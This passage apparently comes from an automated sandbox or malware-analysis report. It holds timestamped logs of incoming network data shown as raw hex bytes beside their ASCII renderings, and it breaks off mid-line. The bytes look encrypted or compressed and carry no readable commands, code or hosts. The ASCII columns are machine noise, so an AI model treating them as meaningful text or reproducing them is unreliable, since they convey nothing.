2b f8 ec 0a Data Ascii: A GCI3CHizn"Y!]K3Ou{?Pun9iSYLjD/E_kIq{Aa+R]sLR.P?sr0INl@zL8k{~.+_WW=\|\TBcJbdcNB;hTi'F5+
2023-08-02 08:30:44 UTC	1122	IN	Data Raw: 4a f1 c2 b5 01 e6 81 6f 9f 88 16 c9 a0 26 d8 29 0e 2a 89 b7 64 d0 0e 19 88 f0 0b 7f 34 0d 16 a0 ea 57 e3 ad 5e bd 1e 72 83 d3 57 25 78 3f 49 10 1d 10 67 86 32 1b 24 e2 6c 02 05 e6 72 83 5e 19 23 ab 64 c0 cf c1 8c 85 38 9f 25 80 27 db 7b 97 87 38 fb f9 7c 73 8c 43 a3 78 53 e7 80 52 e7 c7 a9 a2 2d db 0a 4e e1 56 b5 d0 80 4b dd 7b f0 e2 39 af 1b a1 d8 c0 5d bc bc 33 4f 06 c1 a0 41 69 3a 87 19 af de bb ce c3 63 82 a8 dd a5 33 ac 45 ed 38 0d f4 b2 7e 65 66 a2 98 6e d1 0a da 35 51 8b 0d 91 e1 ac 85 8c d4 e3 ad 9a 23 15 b2 1d 76 c9 26 4c dc 65 b0 c5 47 6c ea fd 18 82 da d4 4c 4b 9b 29 ed b9 dc 97 15 ed ce 75 c0 b8 6c 5a 8b b8 f8 5b 81 5a 7c c2 01 e1 66 9a 07 a5 65 31 ca 1b 89 83 dd 7a 63 35 7b 32 47 93 8f 88 dd b0 e2 10 61 b1 e1 c1 4f cf 37 9b c9 c5 21 63 e9 f0 Data Ascii: Jo&)*d4W^rW%x?Ig2$lr^#d8%'{8\|sCxSR-NVK{9]3OAi:c3E8~efn5Q#v&LeGlLK)ulZ[Z\|fe1zc5{2GaO7!c
2023-08-02 08:30:44 UTC	1138	IN	Data Raw: 10 95 c3 2d a6 16 f4 44 4c 98 92 76 fd 20 a2 87 52 3e 68 e6 61 0a 3e 13 c9 97 26 12 73 c0 9a 94 4e 40 66 93 1b 37 43 06 7a 7a 09 7c 42 ad 25 64 49 a6 83 3d 6f d8 5f bb 85 3c 06 63 b3 c4 9b ea 52 cf 04 22 42 d6 0c b2 49 5c 4d b9 d5 15 f8 e0 44 e8 c0 ed d9 ba 65 a7 2e 46 9e b0 0b 87 7b 7e 4b b0 af 1d 11 d0 e4 60 a0 c0 f1 09 1f c0 71 6c 1f 82 21 6f eb 56 2b d6 9a 4e 1d eb 2c 76 0d 8e 0c 88 92 30 dd 57 c5 4f df d8 6e 93 b0 f3 23 b6 ee 09 86 81 cb c3 e9 b8 6a fb df 9b 58 b5 96 95 56 ff 61 e0 12 9e f3 f6 85 ee a1 c6 61 a8 2f 69 76 01 8c 0e 3f c7 cc 0e 20 1d c0 e4 cc 71 46 a9 e7 5c 60 ba 52 fc 83 93 6c 8f d8 60 90 94 1b 0d 0c e2 a4 61 c5 0b 09 72 3e 69 6f e5 a1 88 30 ca ff cd 27 19 d1 cd b0 24 5f 8f 33 d1 80 fb ab 3e 31 2d f0 93 f1 56 54 e2 1b 4e f3 36 9c 87 39 Data Ascii: -DLv R>ha>&sN@f7Czz\|B%dI=o_<cR"BI\MDe.F{~K`ql!oV+N,v0WOn#jXVaa/iv? qF\`Rl`ar>io0'$_3>1-VTN69
2023-08-02 08:30:44 UTC	1154	IN	Data Raw: 22 88 a9 1a 40 78 4d cb 3b 91 d9 4a cc 8d 4f 90 8c ab 3b 94 db 5b ab 01 bb 90 90 7b a4 28 3d c7 8d 5e ef 7c 8d b7 f4 42 78 56 ad 6b 3a fb bc 2a 14 9b b6 06 1b d4 e3 89 9c aa 4e 6e 4c 1a 55 f8 f9 90 bb f9 ef 85 be 35 e8 2b 36 9f 2d 46 48 8a c3 0d b5 49 ba 86 ee 23 9d 1b 24 d5 ba 93 50 b5 c7 40 01 cb 50 66 8e 54 74 cc aa af 6f b9 da a1 2e 60 72 7e 55 05 39 50 c7 8c 74 c1 6c 2d 4e f3 89 c6 5a 86 55 99 05 47 15 af 67 ad 0a b6 38 b4 62 73 33 72 27 c8 78 a3 18 b2 e3 cb 9b 59 01 80 20 19 03 95 69 8a bc 75 3b af 28 62 67 e2 68 8f 41 e8 96 7a 75 e1 15 a9 4f 44 cc 69 ed d3 5b ab 69 6e f1 7e d3 84 3f cb 4b e7 40 1c ad 99 73 67 35 9f 8b 26 19 74 91 ff 37 07 76 7a 07 9e e9 ca fb f4 d4 2e b1 08 af 4a 28 c2 de 1a d0 54 26 d1 be c0 a2 08 49 99 fd 64 6a 5a 04 71 58 2e 05 Data Ascii: "@xM;JO;[{(=^\|BxVk:*NnLU5+6-FHI#$P@PfTto.`r~U9Ptl-NZUGg8bs3r'xY iu;(bghAzuODi[in~?K@sg5&t7vz.J(T&IdjZqX.
2023-08-02 08:30:44 UTC	1170	IN	Data Raw: a1 04 c7 fc 68 c0 2d a4 fa 2d 47 f8 43 39 e0 c5 3c a6 c6 f6 d3 bb c2 27 9a 63 3b 54 2d 23 05 c3 38 f8 90 ce c3 81 ec 67 6b ca be f5 ed 81 55 59 2b c0 66 9c e4 87 76 cd 87 00 59 fd 4f 8a a8 5d 3f ec 37 1f a9 e7 a5 c7 41 c0 11 5d 28 93 59 ce 40 f0 4f 30 e5 80 0e 9d 23 db fb a9 65 2d f8 03 25 09 48 c5 e4 e3 61 22 0a e9 7f 91 77 f7 76 e3 4b 5c 25 f8 c4 3f ed 6a 72 85 89 38 5d 97 24 bb db 48 5b 0a b6 ab fc 58 e4 e6 07 12 2b 85 73 72 8c d5 35 98 8b ba 26 d9 2d 22 11 29 61 cb ea 81 f5 f4 54 c6 a9 0b 9c ae 2c 01 a6 75 3a 1c 0b da 84 5b 3a 92 d4 ad b4 ec 5c 2f d6 a7 d3 3e 46 72 1e c3 af c5 a3 7b 72 9c a9 a6 93 38 e8 a0 53 63 29 a4 fa 39 5a 48 fd 34 ae ee 7e b0 82 1c 50 7c e0 43 48 2f bb aa dc 88 bf 0f c0 0b 49 c5 ea 1e 9b fe 64 e7 a2 2d e4 17 96 2f 65 e9 91 6a 14 Data Ascii: h--GC9<'c;T-#8gkUY+fvYO]?7A](Y@O0#e-%Ha"wvK\%?jr8]$H[X+sr5&-")aT,u:[:\/>Fr{r8Sc)9ZH4~P\|CH/Id-/ej
2023-08-02 08:30:44 UTC	1186	IN	Data Raw: 49 6e 99 4b 63 c0 3b 9b c8 4d fe dc 8e 26 a0 65 59 7c fd c7 19 9b 5d 8e 3b 32 f7 17 5a 09 14 c6 fb 28 05 cb 20 83 43 cc 7c dc 2c a8 06 31 f1 a2 e9 ec 3e 7a 28 93 e4 29 b5 27 e5 b6 38 aa e3 6c 9b a8 07 b0 d9 1a b3 1d a3 cb 1d 76 05 07 b1 19 37 f4 e1 0e 21 d5 f2 ea eb c6 d9 d1 3d 51 53 4e 58 5f 0d 84 d3 16 e5 fd e5 c8 b1 40 56 31 c3 fb 3a c8 43 ab 83 83 81 98 b6 d7 e5 71 ad 54 5a 5d 50 50 8d 77 ad ec df 9d 0c 2f 74 ee d3 bb cf 05 5d 00 69 d9 db ed 6e d9 fd 00 f9 8e 5a 4a c6 d3 8a c5 6b 52 a3 3a 52 a0 45 e1 60 ef 67 8d 26 48 27 ab 4d 0f ad e7 94 a9 13 99 d6 8b 71 2a 36 8d b5 bd 83 95 53 2a 7c b9 9b 98 d5 23 6f 62 56 21 7a 8a 74 b8 ac 8f e7 27 d9 c1 c8 10 32 8d e6 30 e7 57 92 58 dd 90 bb f7 9c bf af 66 1d b9 44 45 dc 3b 0e d9 f3 3c 23 dc ef 80 ee e7 07 c3 52 Data Ascii: InKc;M&eY\|];2Z( C\|,1>z()'8lv7!=QSNX_@V1:CqTZ]PPw/t]inZJkR:RE`g&H'Mq6S\|#obV!zt'20WXfDE;<#R
2023-08-02 08:30:44 UTC	1202	IN	Data Raw: 0d 2b a5 95 a1 39 cf f5 19 37 77 f2 c7 76 84 82 10 97 fd 31 2f ce b0 9b 71 60 2a a1 e3 9b 0a 8c db 7e 08 a7 46 15 db 4f 39 66 1d 0b 17 33 60 0d 60 84 f6 4b d0 e6 5a cb de 5d ff e2 f8 16 64 0a 9b 8f a5 30 c0 35 73 5e 2d fe b4 85 63 b1 c4 9f 82 b8 c7 95 5c 79 f5 00 3d ab 6f 75 e4 8f f5 40 0a 22 9d c8 3f e5 c1 a8 9a f9 0d c5 4a cf 41 50 e8 ce 93 42 89 c1 f5 31 f8 46 5a fe 11 a3 c0 10 27 99 c7 16 a0 f8 6b ff bb 11 58 db 6b f0 06 ff 22 b4 b6 c8 dc 98 99 2c f9 f1 9e 2b 3e 10 f8 d2 ca 67 e8 f7 a6 c0 41 41 31 ce b5 4e 12 b6 70 12 d0 df f3 da a9 72 a7 90 00 28 c4 49 56 9b 0d f0 74 d8 2e 3d 85 d7 1f 01 56 fd eb 72 92 4b 73 35 6f 58 4c dd 92 cb 7c 47 b3 fb 82 e6 a8 99 c9 38 4d 7c a0 0d ee ae e4 e9 aa 39 b3 e1 26 bb e8 b1 ba 89 87 2e 16 54 c6 1c 42 56 af c1 9f 7c a9 Data Ascii: +97wv1/q`*~FO9f3``KZ]d05s^-c\y=ou@"?JAPB1FZ'kXk",+>gAA1Npr(IVt.=VrKs5oXL\|G8M\|9&.TBV\|
2023-08-02 08:30:44 UTC	1218	IN	Data Raw: 0d f1 9a 83 af 28 ae a2 68 c9 8d 2a 6c 06 cb a4 dd 91 46 fc 62 97 0f fe 8d 27 68 b4 a4 6d 63 df a9 20 3d 47 08 fb 09 7e 2d d8 ff 5f 30 8f 2d c4 3e bb 63 1b 40 70 c5 f1 e9 bf 57 93 8c 54 8e ec f2 ac b6 ec a8 6b 6a bc a6 1d 10 a8 51 ea 91 12 ff 17 a0 51 a5 5d e0 f2 9d 07 a9 95 20 5a dc f0 5c 22 98 18 6f f3 a3 69 c2 a0 1f e3 fd b4 a2 82 9a 70 5f 1f 05 69 4a cc 51 0e 40 cb 3a 8a fa 58 ab 93 d3 62 10 d0 60 5d 95 59 bd b1 6a b3 c9 4a dc 73 ca 5d 62 e2 c2 76 9c 7b fe 87 93 fe d5 dc 76 92 cd a2 40 b4 0d 38 89 20 09 ce 57 5d ae 3b 61 82 a6 dc 38 86 aa 1e c9 07 ec cc 9d b7 2b 08 36 01 c7 63 1e 46 df 16 4e 13 57 c9 6e 91 52 00 8e 88 ca c9 79 c3 c0 48 32 dd ff 22 61 09 56 e1 f4 cf 0f 0d 67 ac c3 ad 33 07 35 72 21 54 ae ac d1 cf a5 6a 6c 42 3e 4f 8d 24 f2 98 2a 27 bb Data Ascii: (hlFb'hmc =G~-_0->c@pWTkjQQ] Z\"oip_iJQ@:Xb`]YjJs]bv{v@8 W];a8+6cFNWnRyH2"aVg35r!TjlB>O$'
2023-08-02 08:30:44 UTC	1234	IN	Data Raw: 52 96 fa 86 c9 6b 5e 86 57 6e 71 c7 5e ea 65 0f 80 a4 c9 04 5f fa 94 dd 75 29 ca 3f 02 9f 5f 89 aa 28 38 23 08 58 60 ae ad 20 b2 23 ea 9e 07 bb 8d a0 75 10 cc cd d3 ec 9b 2a 99 03 72 65 a4 ea 45 46 98 d9 d3 6b b5 2d a5 97 c7 61 ae 6a 65 ad 5c db c1 90 95 5b 3b 52 67 21 5f 2e 64 78 d8 73 7c 94 a6 e8 a1 19 3e f3 8e c1 dd 32 78 6e 17 5a 2e e5 c5 9b 05 f0 56 95 02 f2 4b f1 37 dc 11 ac dd b7 85 d0 bb 0a 5e 7d 1d 16 81 24 24 3c 21 a9 27 51 a1 f8 02 20 11 cb 86 62 9f 7a 2c ec 76 13 bc bc c8 28 65 a5 7c 38 01 02 cc b6 6f 43 86 b0 50 dd e4 b3 d4 b1 f1 05 a7 fa e3 85 c1 c4 10 3a 95 57 95 e4 7d dc 04 8e bb 27 e5 73 91 f1 6c f6 b6 ef a7 aa 32 43 ff c5 44 b4 62 b2 21 73 d7 0e 7c 06 54 20 ea ae 6c 47 24 55 2e 55 8b fa d4 bb df 04 d0 7f 71 fb 8f 54 54 0a 2a bf dc 0c 4d Data Ascii: Rk^Wnq^e_u)?_(8#X` #ureEFk-aje\[;Rg!_.dxs\|>2xnZ.VK7^}$$<!'Q bz,v(e\|8oCP:W}'sl2CDb!s\|T lG$U.UqTTM
2023-08-02 08:30:44 UTC	1250	IN	Data Raw: 74 d1 bc 41 17 f3 9a b7 e6 18 cf 4b 4c ff b0 73 a3 f9 d6 04 c7 da e3 6f a2 9a 5f 2a 3f a7 de 9f 59 11 25 b9 78 09 0d 49 ae 52 15 d6 73 ed ef f4 81 55 f6 bc 2e 26 37 3d de e3 47 f5 d7 21 5b 37 8b 92 05 56 8d 69 58 d7 d1 63 00 05 c6 65 f2 2f cc 80 3f 1a bb 73 92 99 ba 8b 7e 8c d5 86 b6 15 bf ad ec 38 0b 2f 0b 65 37 ef 3a d5 a2 d1 b9 37 2e 54 8c 74 cc dc 0f 60 b7 1c 83 85 89 f9 4a ae 2a da 38 f6 5c fa 25 13 db 6d ce 5c 4c 3a 77 af 65 32 b6 3b a6 a7 77 9c 65 87 7f cd 3b 7b c9 44 65 62 22 3a ad 4d cd 14 7f fb 8b a9 2e 41 2f e3 94 62 8b e3 1d 0b 10 5d 93 f9 df 63 c3 ff 1a fa 01 5b 4e da 34 ab f3 78 24 65 6f 0c 18 0f 65 82 dc ae 03 be 1c a6 56 55 dc a9 26 11 84 73 e5 b5 cf be d8 1e b9 a1 44 d1 01 1b 5c a1 60 1b 2a 67 8d 42 cf 61 09 9b bd c6 2c 46 8d b1 a5 3a c7 Data Ascii: tAKLso_?Y%xIRsU.&7=G![7ViXce/?s~8/e7:7.Tt`J8\%m\L:we2;we;{Deb":M.A/b]c[N4x$eoeVU&sD\`*gBa,F:
2023-08-02 08:30:44 UTC	1266	IN	Data Raw: 0b 36 ca 0b 3c b4 15 3b 4e c3 71 12 e1 4d 2e 3c 14 a3 43 30 df f2 92 59 9f 12 4a f5 4e 65 f6 86 d1 d6 59 f7 7b 9b 0d e5 47 b0 8c 30 69 69 37 67 46 72 e6 84 99 e1 9c ee 9d 6a 1f 2c 75 64 a4 a2 16 75 22 e3 12 16 be 02 77 89 60 9d 19 c0 a7 83 15 26 ef 77 bc 52 66 38 a8 54 2e a4 75 b1 68 a9 97 c6 5b 9d 3f a0 b8 5a 56 0a 32 15 47 ae 7b e6 15 26 d2 7a 42 90 54 34 93 c3 76 9c 30 ff 7c 58 27 00 4b e7 38 5a b8 28 d9 2e 5a b6 b9 48 db f3 57 74 c7 1a 4f c9 a6 80 9d 32 6c 30 29 77 da 0c 32 ec a9 66 43 a5 e1 57 cb f6 cd b0 f0 ff 93 b4 f9 8d ab ff a8 fd ef d8 26 04 0a f5 7d 84 9f 36 72 2a 7d e0 53 2b d9 cb 25 0a 8a a7 c4 fc d9 1c 8a 2f 7f dd 43 9f 82 0d b7 c6 cb 0d 56 f1 34 f1 91 5e 45 8a fa df 07 bf 96 17 8d 07 d2 8a 7a 3c 2a e1 38 56 d6 04 08 e6 7f e7 a3 50 01 b7 bf Data Ascii: 6<;NqM.<C0YJNeY{G0ii7gFrj,udu"w`&wRf8T.uh[?ZV2G{&zBT4v0\|X'K8Z(.ZHWtO2l0)w2fCW&}6r}S+%/CV4^Ez<8VP
2023-08-02 08:30:44 UTC	1282	IN	Data Raw: 55 64 c5 a2 e2 8a 01 fb 66 59 5c c7 04 26 78 80 f2 ea 93 95 60 f2 03 0e 73 8d 4d 9c c5 c7 99 62 b7 a9 57 10 ca f5 a5 1e e4 cc ae 77 11 b6 b4 fe 58 8a 99 47 e6 df 07 03 3d e1 16 56 90 6b 66 e1 7a 1d 53 02 39 19 31 e2 12 6e 2a 3a d2 2f 1c 19 1b a4 27 b0 6a 9e 8c 86 6b c4 1f 93 66 4e c8 a5 0d 7e 76 85 60 12 5e 5b 88 a8 78 6c 0a 43 9e 5a ca 34 e8 20 9f d0 29 13 ae 1d 9c 90 be c4 8d 07 a3 3f 97 09 77 67 4e 11 2b 21 04 12 1d b7 33 48 4e bb 67 7e 9c 08 bd 24 62 f1 b0 47 6e 62 8d e9 07 9b 7d 15 22 2b 28 c0 79 57 98 da b4 c7 20 46 10 b2 a6 a9 87 ce 80 ef c9 c8 67 e7 82 26 64 80 65 c4 02 30 2d 51 00 7b 06 30 d9 4c d7 7b d2 32 a4 04 ee 1c 89 9b ef a5 35 30 4b d0 f0 bf 7a 83 25 29 20 9a 7c 01 e3 42 b2 c1 35 fc 85 ab 2c ce 3f 2b 3c 6f 6b fc c7 88 38 64 bb ff f4 57 e1 Data Ascii: UdfY\&x`sMbWwXG=VkfzS91n*:/'jkfN~v`^[xlCZ4 )?wgN+!3HNg~$bGnb}"+(yW Fg&de0-Q{0L{250Kz%) \|B5,?+<ok8dW
2023-08-02 08:30:44 UTC	1298	IN	Data Raw: 7e 39 a6 e2 7d 46 9d e0 6f b1 e6 e8 2e 59 eb 20 2e 9a 18 09 c0 06 4e 2c c9 c9 2c b5 60 2d 6c cb ec 0b 28 71 7d 38 60 ca 56 b4 90 71 62 0d 04 f4 c3 51 5e 27 52 02 16 06 93 99 d7 76 be 4c 4a 4c b4 19 d3 5b ec bd d2 df c0 eb 46 97 e2 ce c8 84 d6 1b a9 12 6b eb 2e 67 b8 ad 2e c8 cd 5a eb 4e e7 17 e5 69 4f e6 19 66 46 54 a8 50 e6 fa a2 0f 0e ba 84 a5 c0 ed a6 b5 da c2 df aa 59 88 2e 56 8d 53 36 33 34 76 ff c3 08 d4 8f e9 36 2a a8 4b 07 0b b1 05 d0 75 82 1e a6 3e 00 25 b1 2f 9c 68 6e a0 a9 90 ee b9 e9 78 e7 ce 14 f9 d5 51 f6 ad 85 ce 46 39 2d 8e 13 1e 64 62 ad 7d 79 3f 1f ef c7 10 6f 95 85 6f a5 29 77 c6 7d 51 30 9c 2c a4 2a 91 7b 4d 6a 98 f3 86 63 1f 62 a5 00 c7 35 2b 93 5d c0 4c d4 e2 8e 67 99 47 3f bc 59 f1 7c 9c 7b bf 4e 28 71 ca d9 a4 67 34 2f 6d a0 83 74 Data Ascii: ~9}Fo.Y .N,,`-l(q}8`VqbQ^'RvLJL[Fk.g.ZNiOfFTPY.VS634v6Ku>%/hnxQF9-db}y?oo)w}Q0,{Mjcb5+]LgG?Y\|{N(qg4/mt
2023-08-02 08:30:44 UTC	1314	IN	Data Raw: ab 66 0c ad 55 a8 15 ee e9 e9 7b ba 8c 3b be 33 ae 0e 3e 0f 33 c5 05 40 3c c1 8d e1 99 79 13 a3 f4 5f 73 36 92 80 92 9f 85 d9 c8 06 2a 09 d4 57 87 ba da 3c 93 bc 88 e0 30 5b c0 e3 78 37 f1 6d 84 dc 9d d0 ca 42 2c 84 38 32 3c 2c 39 b5 f7 5e d8 b9 d2 09 63 ea 6f 5a ae 7a 88 e2 20 30 5c 22 ba 4c 69 8d 04 48 b9 de 6f ce aa b7 9b dc 1b f1 d0 14 85 0c a9 c2 4b 8f 7d 78 61 b1 0a 74 df fd 91 1e 10 b0 ad 43 0a 08 0a 3c 2e 2c af 96 46 bc 9d e3 fd 3a aa 97 26 a3 fd f8 f1 71 d9 f7 8b e0 cc ac cb a0 94 a7 2d d3 38 8f 78 05 bb 47 a4 c7 7c 98 bf bf cc 34 5a 19 c2 21 e5 53 0f 63 b4 29 16 52 4d ac 31 d3 d5 69 d9 53 a6 1f 3a 23 49 e6 86 0b e3 b8 bd 4b 32 d6 e4 66 92 a6 5d a4 67 6f fb 99 55 04 e5 a9 9c 73 40 a0 cf 0e d5 78 10 64 a1 89 1a ac ae 99 4a 67 14 a5 14 6b 17 92 2e Data Ascii: fU{;3>3@<y_s6*W<0[x7mB,82<,9^coZz 0\"LiHoK}xatC<.,F:&q-8xG\|4Z!Sc)RM1iS:#IK2f]goUs@xdJgk.
2023-08-02 08:30:44 UTC	1330	IN	Data Raw: ec 67 44 d2 fc 56 e0 6d 55 f5 fa 6f e6 f7 38 14 5d 5a 5d 34 de d6 65 e3 79 1c a4 54 5d 4a 6b 0d f7 90 f8 40 67 d4 ae b3 64 1f b5 4d 06 04 54 36 b6 80 ec ac 5d 31 c6 b7 d3 21 7d 46 f1 39 7f 5a 22 4a 13 d3 84 55 83 f3 26 12 05 8a 9a 66 96 41 33 3f ab 2b 3f cb a0 20 bd ee 96 86 bc 24 20 03 04 52 28 42 44 fb b8 e1 88 d2 31 71 be 0e ae f6 3f b7 13 74 42 f1 47 ea 79 5b f3 09 d3 b1 16 a1 8a aa 53 f8 3a 08 8e 44 bc 18 82 3e 32 e9 0d 5d 33 a4 3d 3a cb 80 7b de 16 8c b6 6f c6 c4 d4 e3 b5 9e 1c 36 dc a9 e1 db a5 eb cd d0 af ee 2f 28 55 3b b8 86 30 5c b1 4b d0 2e 6b f0 a1 91 0b d6 11 d7 17 d1 b7 f5 5d 5c 49 ed 58 13 07 23 20 50 54 c9 25 b8 c8 98 64 76 c7 ad 48 d7 7c ef ce a7 2f fa bf cb 15 11 56 bb 46 f9 f7 a4 27 05 9e 5b 19 22 59 a4 35 9c 91 03 e9 19 fd cd ef da ed Data Ascii: gDVmUo8]Z]4eyT]Jk@gdMT6]1!}F9Z"JU&fA3?+? $ R(BD1q?tBGy[S:D>2]3=:{o6/(U;0\K.k]\IX# PT%dvH\|/VF'["Y5
2023-08-02 08:30:44 UTC	1346	IN	Data Raw: fd 48 36 2d 0b 9e af 58 e2 be f4 dd 88 cf 5e 41 b2 e7 f7 6f 51 4c 1b 2c 48 09 1c ec 86 f2 e9 ba b5 56 a0 50 fa ef c5 d7 74 eb 0c de 09 8a 68 18 90 40 8b 0f fd 3e e5 9f 2d 47 fc 9a 9a f2 1b 40 c8 60 31 45 12 01 2d dc 6e 7d 29 31 50 42 3e a7 80 c4 86 1e 30 3e 9a e5 22 bb 0d 28 1c f6 37 5a 1d 71 40 ba b8 79 0c fb ce 7c 8e 2d 78 a5 57 80 a2 67 df c7 f5 ab 89 b1 72 78 eb db f8 14 c7 be ff 3e 7f f1 44 1b 49 d6 a4 00 d7 c9 3b 6c 8b e9 7e 66 99 88 2b 63 ba dd 3b fd c0 c0 c1 33 29 bb 0c ae 55 2e 44 52 3a 4e db 46 5c 9a 21 10 f9 7f b1 7a a0 55 3f ee 93 af 60 66 68 45 c2 0f 67 6c f1 14 39 61 aa db f9 4b 4c 0e 5f 70 1d c1 b7 bd b3 2a 7f 24 3f 60 b2 f9 44 f4 f8 b5 84 8c 02 68 49 fb 01 f1 69 b5 0e 75 83 f4 c0 d9 f6 4d 36 50 23 5a a5 5f 28 0b dc 0f 3f cc cb 5d bf 4b 7b Data Ascii: H6-X^AoQL,HVPth@>-G@`1E-n})1PB>0>"(7Zq@y\|-xWgrx>DI;l~f+c;3)U.DR:NF\!zU?`fhEgl9aKL_p*$?`DhIiuM6P#Z_(?]K{
2023-08-02 08:30:44 UTC	1362	IN	Data Raw: a3 fe 79 0f 95 a5 02 83 78 69 86 34 c1 e4 26 8e 61 93 4e 7d a6 36 fc ac 3a 50 bd 13 49 00 12 31 f9 f5 e9 94 5d 06 b1 e2 10 f9 97 2a 28 45 e9 36 e8 45 48 4c 89 71 e8 5b 0d 80 98 08 fb f2 62 fd da a3 e6 14 f7 62 9f 4e 44 fc 1e 5c 45 99 d7 6a 8a 2c 3d 08 2a 75 ac c8 2b f7 2f 51 b7 48 75 dc 40 84 fe 3e 5c 89 71 4d 9c e5 fa 8c 48 cf 90 3f 88 e5 76 ed 4f cc c3 e2 1d bd 2a 1d 37 97 d5 ef 1c b9 69 ed 13 a8 a2 34 29 b9 10 c8 bc 67 1f e2 23 4a 92 9d 1a f6 f1 4a 16 c5 42 8a ae cd 8d e7 1b b4 19 5d 3f ca ed 60 c4 20 d6 59 4b 20 f4 7b 03 c0 50 37 fd 34 4c 99 3e 06 c3 66 63 f9 c2 49 1d f8 9b a9 2b 65 54 4d 29 52 41 91 ee 11 0c 40 df bb 5d 1a 08 53 ac dc 7b 88 78 40 a4 4e a9 8d af 89 4e c4 4b 41 52 bd a7 3e 6f 7a 1d 23 d1 77 53 48 b7 b5 8d ee 39 fc 65 53 9f bb 25 4e 23 Data Ascii: yxi4&aN}6:PI1](E6EHLq[bbND\Ej,=u+/QHu@>\qMH?vO*7i4)g#JJB]?` YK {P74L>fcI+eTM)RA@]S{x@NNKAR>oz#wSH9eS%N#
2023-08-02 08:30:44 UTC	1378	IN	Data Raw: 47 27 2a e3 f5 b4 61 97 37 b7 c4 2b 59 7f 1f 0c fa 70 e8 24 8d 4d 48 ea 8c f0 8a bc af d6 f5 e0 e0 7c b7 76 6f 9e ed e8 f5 74 08 56 fc 01 dc 77 15 d7 5c 9e 14 bb 8c 71 ce 9c 47 57 7e f3 14 c7 11 6b 39 66 21 ee 82 af dc 99 50 31 3f 90 86 d0 ae 38 7f bb 3c a0 ae 98 e2 99 c9 79 8d 5b ce 18 cc 72 1d ab 7b de de 82 3b 2e e4 69 74 cb af 50 71 6b b8 a6 d1 5a b4 59 7b ac 06 a6 8c 34 cb 3a 31 6b 60 70 f3 7e ad b5 d9 5c ea 9d c6 b1 7d a8 0a e8 bf 76 1c 48 9b 75 41 bd 9a 98 a2 85 94 eb 1d 5e ae 59 fe 5c a8 f5 97 fd eb 05 12 37 42 48 23 61 1a c8 38 ed 6f 9f 12 c4 a9 21 03 eb 00 67 dc 4e 60 be be 93 d9 92 53 fb 49 7b 02 f3 83 7a 76 c7 41 d4 1a 86 c3 bb 02 ec ad 48 74 23 41 89 4f fa d9 1b fe 7a d1 1f aa f9 e2 cf 36 c3 da b7 39 50 d3 8b 7f cc 37 13 d9 db 8f a8 6a 9a 3e Data Ascii: G'*a7+Yp$MH\|votVw\qGW~k9f!P1?8<y[r{;.itPqkZY{4:1k`p~\}vHuA^Y\7BH#a8o!gN`SI{zvAHt#AOz69P7j>
2023-08-02 08:30:44 UTC	1394	IN	Data Raw: d0 70 5d fc 9c a7 18 cb a6 c8 a2 65 64 20 3d 86 fa 98 f1 0a b5 78 19 06 81 5b 59 32 0e b6 42 be f6 38 30 c6 d8 d2 0d 68 2c 85 49 78 58 cc ba d1 9f 10 8e 52 81 04 29 a6 9b e2 2a 0f a7 b7 ba 80 8b 10 44 0e 0a 7d ed 0b 91 98 6d 97 8c f3 6e 9d ca 14 11 1f d4 66 7d e5 64 2c 1a 2e 79 62 14 32 f2 c6 30 2a 2f 67 6b 12 7a 5a de 70 1a 56 e0 cd 9f 07 69 24 6c 2c a0 58 ae 79 5f 37 3d 59 e9 91 dc 2d 8e 80 f2 ae 51 ea c6 e2 9c 84 52 db b1 7d 11 05 2e 61 54 a1 11 0b ed 16 ea 0d 70 1d f1 90 8b 07 99 6f 2f a4 8d 84 9c f5 25 32 29 97 06 7f 7b 2b 63 92 c1 46 8e 74 e9 3a 42 f4 df 0f ad 28 9a 41 c3 0d 86 44 0f a6 22 89 1f 43 ce 98 07 b2 87 ec 1f f1 7e 20 ab f4 06 93 74 c8 70 03 f0 f6 59 8b 18 5e 95 30 b1 9c 21 40 4c e9 b7 83 31 de 70 5e 44 21 17 42 8a 3f 62 42 f6 fb ca 48 29 Data Ascii: p]ed =x[Y2B80h,IxXR)D}mnf}d,.yb20/gkzZpVi$l,Xy_7=Y-QR}.aTpo/%2){+cFt:B(AD"C~ tpY^0!@L1p^D!B?bBH)
2023-08-02 08:30:44 UTC	1410	IN	Data Raw: 14 20 97 46 e2 a9 e8 5a 99 9f 72 f7 d0 90 93 1c 73 f8 ed 9f bb 13 af 72 08 7d 53 ea 9f fe 1f f4 f1 85 74 b6 3d 73 91 8c bd e7 cd 36 3c 16 5f 82 b5 55 3f 7e 27 4c c1 83 39 16 27 fe a9 e5 43 64 e9 3c 76 9d de 96 a1 11 8a 40 2d 38 c8 19 55 2c 06 57 ab a9 eb c2 4c 9b f0 8a 63 03 bd 0f 69 bc 4e 20 52 fc 29 69 92 8e 73 36 1a 94 55 17 45 22 d0 fa a2 e9 3b ef b2 9f a1 40 39 e7 e0 8c f5 b2 f6 38 f5 cd f4 89 e2 f9 b4 a3 2c c3 df 58 c6 3d d6 81 a6 60 04 89 18 1b 72 02 65 5e d9 1f 90 fd c9 6d 0a cd 73 f7 ad 14 14 9e 0d 2a 8d b3 aa e5 b5 b8 78 5d 60 5e 5e 31 a3 6e 17 79 44 47 7b a5 84 29 9f 0e 4a 8b a7 c5 a3 db fb 48 44 5e 49 7c 24 67 79 e2 85 69 43 09 cc 91 3b 5f c3 9b 7b 4f ec 58 49 dc 1c aa bc 5b e0 f9 43 cb 2e 20 56 84 95 cb aa 7f 4f 8d d3 1b be 94 ed 46 e6 c9 e0 Data Ascii: FZrsr}St=s6<_U?~'L9'Cd<v@-8U,WLciN R)is6UE";@98,X=`re^ms*x]`^^1nyDG{)JHD^I\|$gyiC;_{OXI[C. VOF
2023-08-02 08:30:44 UTC	1426	IN	Data Raw: da d9 e7 08 56 34 b4 05 fa f8 a8 be 52 08 97 ec 20 9d 67 59 ff d1 50 fc 8c 1b e5 24 ce 3b 32 98 3c 79 7f f5 1e dd 2c d4 8a ff 1d 32 5e 1c 79 0b df a2 21 94 9b 15 92 b0 81 4e 68 90 15 18 a0 c0 da 78 69 10 bc 1a b4 98 fe 47 83 28 92 28 0c cc 3a 69 48 4e 21 fe 72 af 3e c7 98 ec c5 0b b3 c0 08 da 72 cc 07 29 05 91 3b 23 fc aa a9 ef 56 6d 9e 0d 98 90 3d 15 26 d6 96 46 b7 0e 94 cd 7a 10 93 40 6c 13 04 5d a4 f9 29 5c 66 b9 68 de 84 1d e7 d1 c7 74 41 b9 af 44 dd 5b 76 9b 1b 3b 63 fd 0b 74 f5 3e bc dd 50 8a 5c cb 2b df da 94 b1 f1 7f ed 01 f4 f5 28 ef d1 d8 ac 38 d8 72 4a 40 